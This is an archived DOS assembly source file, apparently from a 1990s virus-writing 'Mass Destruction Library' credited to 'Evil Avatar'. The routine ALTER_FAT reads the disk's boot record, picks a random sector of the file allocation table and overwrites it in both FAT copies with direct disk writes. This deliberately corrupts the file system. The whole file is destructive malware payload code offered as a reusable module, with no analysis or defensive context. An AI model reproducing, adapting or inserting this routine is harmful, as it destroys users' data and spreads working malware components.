home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / LAVIUPD3.ZIP / LAVI13.ZIP / ALTER_FA.RTN < prev    next >
Text File  |  1994-01-06  |  1KB  |  37 lines

  1. ;ALTER_FAT - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. ; Altera la FAT
  4.  
  5. alter_fat:
  6.         push dx
  7.         push bx
  8.         push cx
  9.         push ax
  10.         push bp               ;save regs that will be changed
  11.         mov ax, 0dh
  12.         int 21h               ;reset disk
  13.         mov ah, 19h        
  14.         int 21h               ;get default disk
  15.         xor dx, dx            
  16.         call load_sec         ;read in the boot record
  17.         mov bp, bx
  18.         mov bx, word ptr es:[bp+16h]  ;find sectors per fat
  19.         push ax               ;save drive number
  20.         call rnd_num          ;get random number
  21.         cmp bx, ax            ;if random number is lower than
  22.         jbe alter_fat1        ;secs per fat then jump and kill 'em
  23.         mov ax, bx            ;else pick final sector of fat
  24. alter_fat1:        
  25.         xchg ax, dx           ;put sector number into dx
  26.         pop ax
  27.         mov cx, 1
  28.         int 26h               ;write sectors
  29.         add dx, bx            ;change to next fat (assumed 2 fats)
  30.         int 26h               ;write same data in that fat
  31.         pop bp        
  32.         pop ax
  33.         pop cx
  34.         pop bx
  35.         pop dx
  36.         ret                   ;restore regs and return
  37.